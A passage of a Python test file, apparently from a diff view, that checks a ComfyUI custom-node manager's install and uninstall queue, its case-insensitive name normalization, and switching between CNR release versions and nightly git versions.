||||
response = api_client.queue_task(
|
||||
kind="uninstall",
|
||||
ui_id="test_uninstall_mixed_case",
|
||||
params={"node_name": " ComfyUI_SigmoidOffsetScheduler "}, # Mixed case with spaces
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(5) # Increased wait time for uninstallation
|
||||
|
||||
# Package should be uninstalled (normalization worked)
|
||||
assert not package_path.exists(), "Package should be uninstalled with normalized name"
|
||||
|
||||
# Test 3: Reinstall with exact case for next test
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_reinstall",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
assert package_path.exists(), "Package should be reinstalled"
|
||||
|
||||
# Test 4: Uninstall with uppercase (should work with normalization)
|
||||
response = api_client.queue_task(
|
||||
kind="uninstall",
|
||||
ui_id="test_uninstall_uppercase",
|
||||
params={"node_name": "COMFYUI_SIGMOIDOFFSETSCHEDULER"}, # Uppercase
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(5)
|
||||
|
||||
assert not package_path.exists(), "Package should be uninstalled with uppercase"
|
||||
|
||||
|
||||
def test_queue_multiple_tasks(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test queueing multiple tasks and processing them in order."""
|
||||
# Queue multiple tasks
|
||||
tasks = [
|
||||
{
|
||||
"kind": "install",
|
||||
"ui_id": "test_multi_1",
|
||||
"params": {
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
},
|
||||
{"kind": "uninstall", "ui_id": "test_multi_2", "params": {"node_name": TEST_PACKAGE_CNR_ID}},
|
||||
]
|
||||
|
||||
for task in tasks:
|
||||
response = api_client.queue_task(kind=task["kind"], ui_id=task["ui_id"], params=task["params"])
|
||||
assert response.status_code == 200
|
||||
|
||||
# Start queue processing
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
|
||||
# Wait for all tasks to complete
|
||||
time.sleep(6)
|
||||
|
||||
# After install then uninstall, package should not exist
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert not package_path.exists(), "Package should be uninstalled after cycle"
|
||||
|
||||
|
||||
def test_version_switch_cnr_to_nightly(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test switching between CNR and nightly versions.
|
||||
|
||||
CNR ↔ Nightly uses .disabled/ mechanism:
|
||||
1. Install version 1.0.2 (CNR) → .tracking file
|
||||
2. Switch to nightly (git clone) → CNR moved to .disabled/, nightly active with .git
|
||||
3. Switch back to 1.0.2 (CNR) → nightly moved to .disabled/, CNR active with .tracking
|
||||
4. Switch to nightly again → CNR moved to .disabled/, nightly RESTORED from .disabled/
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_path = custom_nodes_path / ".disabled" / TEST_PACKAGE_ID
|
||||
tracking_file = package_path / ".tracking"
|
||||
|
||||
# Step 1: Install version 1.0.2 (CNR)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_nightly_1",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
assert package_path.exists(), "Package should be installed (version 1.0.2)"
|
||||
assert tracking_file.exists(), "CNR installation should have .tracking file"
|
||||
assert not (package_path / ".git").exists(), "CNR installation should not have .git directory"
|
||||
|
||||
# Step 2: Switch to nightly version (git clone)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_nightly_2",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
# CNR version moved to .disabled/, nightly active
|
||||
assert package_path.exists(), "Package should still be installed (nightly)"
|
||||
assert not tracking_file.exists(), "Nightly installation should NOT have .tracking file"
|
||||
assert (package_path / ".git").exists(), "Nightly installation should be a git repository"
|
||||
|
||||
# Step 3: Switch back to version 1.0.2 (CNR)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_nightly_3",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
# Nightly moved to .disabled/, CNR active
|
||||
assert package_path.exists(), "Package should still be installed (version 1.0.2 again)"
|
||||
assert tracking_file.exists(), "CNR installation should have .tracking file again"
|
||||
assert not (package_path / ".git").exists(), "CNR installation should not have .git directory"
|
||||
|
||||
# Step 4: Switch to nightly again (should restore from .disabled/)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_nightly_4",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
# CNR moved to .disabled/, nightly restored and active
|
||||
assert package_path.exists(), "Package should still be installed (nightly restored)"
|
||||
assert not tracking_file.exists(), "Nightly should NOT have .tracking file"
|
||||
assert (package_path / ".git").exists(), "Nightly should have .git directory (restored from .disabled/)"
|
||||
|
||||
|
||||
def test_version_switch_between_cnr_versions(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test switching between different CNR versions.
|
||||
|
||||
CNR ↔ CNR updates directory contents in-place (NO .disabled/):
|
||||
1. Install version 1.0.1 → verify pyproject.toml version
|
||||
2. Switch to version 1.0.2 → directory stays, contents updated, verify pyproject.toml version
|
||||
3. Both versions have .tracking file
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
tracking_file = package_path / ".tracking"
|
||||
pyproject_file = package_path / "pyproject.toml"
|
||||
|
||||
# Step 1: Install version 1.0.1
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_cnr_1",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "1.0.1",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
assert package_path.exists(), "Package should be installed (version 1.0.1)"
|
||||
assert tracking_file.exists(), "CNR installation should have .tracking file"
|
||||
assert pyproject_file.exists(), "pyproject.toml should exist"
|
||||
|
||||
# Verify version in pyproject.toml
|
||||
pyproject_content = pyproject_file.read_text()
|
||||
assert "1.0.1" in pyproject_content, "pyproject.toml should contain version 1.0.1"
|
||||
|
||||
# Step 2: Switch to version 1.0.2 (contents updated in-place)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_cnr_2",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION, # 1.0.2
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(8)
|
||||
|
||||
# Directory should still exist, contents updated
|
||||
assert package_path.exists(), "Package directory should still exist"
|
||||
assert tracking_file.exists(), "CNR installation should still have .tracking file"
|
||||
assert pyproject_file.exists(), "pyproject.toml should still exist"
|
||||
|
||||
# Verify version updated in pyproject.toml
|
||||
pyproject_content = pyproject_file.read_text()
|
||||
assert conftest.TEST_PACKAGE_NEW_VERSION in pyproject_content, f"pyproject.toml should contain version {conftest.TEST_PACKAGE_NEW_VERSION}"
|
||||
|
||||
# Verify .disabled/ was NOT used (CNR to CNR doesn't use .disabled/)
|
||||
disabled_path = custom_nodes_path / ".disabled" / TEST_PACKAGE_ID
|
||||
# Note: .disabled/ might exist from other operations, but we verify in-place update happened
|
||||
|
||||
|
||||
def test_version_switch_disabled_cnr_to_different_cnr(api_client, cleanup_package, custom_nodes_path):
|
||||
"""Test switching from nightly to different CNR version when old CNR is disabled.
|
||||
|
||||
When CNR 1.0 is disabled and Nightly is active:
|
||||
Installing CNR 2.0 should:
|
||||
1. Switch Nightly → CNR (enable/disable toggle)
|
||||
2. Update CNR 1.0 → 2.0 (in-place within CNR slot)
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
tracking_file = package_path / ".tracking"
|
||||
pyproject_file = package_path / "pyproject.toml"
|
||||
|
||||
# Step 1: Install CNR 1.0.1
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_disabled_cnr_1",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
assert package_path.exists(), "CNR 1.0.1 should be installed"
|
||||
|
||||
# Step 2: Switch to Nightly (CNR 1.0.1 → .disabled/)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_disabled_cnr_2",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
assert (package_path / ".git").exists(), "Nightly should be active with .git"
|
||||
assert not tracking_file.exists(), "Nightly should NOT have .tracking"
|
||||
|
||||
# Step 3: Install CNR 1.0.2 (should toggle Nightly→CNR, then update 1.0.1→1.0.2)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_disabled_cnr_3",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": conftest.TEST_PACKAGE_NEW_VERSION, # 1.0.2
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
# After install: CNR should be active with version 1.0.2
|
||||
assert package_path.exists(), "Package directory should exist"
|
||||
assert tracking_file.exists(), "CNR should have .tracking file"
|
||||
assert not (package_path / ".git").exists(), "CNR should NOT have .git directory"
|
||||
assert pyproject_file.exists(), "pyproject.toml should exist"
|
||||
|
||||
# Verify version is 1.0.2 (not 1.0.1)
|
||||
pyproject_content = pyproject_file.read_text()
|
||||
assert conftest.TEST_PACKAGE_NEW_VERSION in pyproject_content, f"pyproject.toml should contain version {conftest.TEST_PACKAGE_NEW_VERSION}"
|
||||
assert "1.0.1" not in pyproject_content, "pyproject.toml should NOT contain old version 1.0.1"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v", "-s"])
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user